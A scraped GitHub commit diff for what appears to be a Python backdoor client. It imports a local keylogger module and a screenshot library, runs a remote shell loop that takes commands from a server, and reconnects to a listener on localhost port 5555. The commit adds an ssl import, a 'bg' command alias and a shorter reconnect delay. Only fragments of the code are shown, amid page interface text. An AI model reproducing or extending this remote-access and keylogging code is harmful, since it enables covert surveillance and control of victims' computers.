File tree Expand file tree Collapse file tree 7 files changed +458
-262
lines changed Expand file tree Collapse file tree 7 files changed +458
-262
lines changed Original file line number Diff line number Diff line change
1
+
2
+ .DS_Store
3
+ CHANGELOG.md
4
+ client /__pycache__ /*
5
+ server /__pycache__ /*
6
+ server /certs
7
+ server /.screenshots
8
+ screenshots
Load Diff This file was deleted.
Original file line number Diff line number Diff line change 1
- import socket
1
+ # Standard library imports
2
2
import json
3
- import subprocess
4
- import time
5
3
import os
6
- import threading
7
4
import shutil
5
+ import socket
6
+ import ssl
7
+ import subprocess
8
8
import sys
9
+ import threading
10
+ import time
9
11
from sys import platform
10
12
11
- # External dependencies
12
- from mss import mss
13
+ # Related third party imports
13
14
import requests
15
+ from mss import mss
14
16
15
- # Local dependencies
17
+ # Local application/library specific imports
16
18
import keylogger
17
19
# from mss import mss # mss v6.1.0
18
20
# import requests # v2.28.0
19
21
20
22
21
-
22
23
def reliable_send (data ):
23
24
jsondata = json .dumps (data )
24
25
s .send (jsondata .encode ())
@@ -106,7 +107,7 @@ def shell():
106
107
command = reliable_recv ()
107
108
if command == 'quit' :
108
109
break
109
- elif command == 'background' : # BEGIN
110
+ elif command == 'background' or command == 'bg' : # BEGIN
110
111
pass
111
112
elif command == 'help' : # ideally to be removed
112
113
pass
@@ -168,7 +169,7 @@ def shell():
168
169
169
170
def connection ():
170
171
while True :
171
- time .sleep (5 )
172
+ time .sleep (1 )
172
173
try :
173
174
s .connect (('127.0.0.1' , 5555 ))
174
175
# if platform == 'win32': #TO BE DONE
File renamed without changes.
File renamed without changes.
You can’t perform that action at this time.
0 commit comments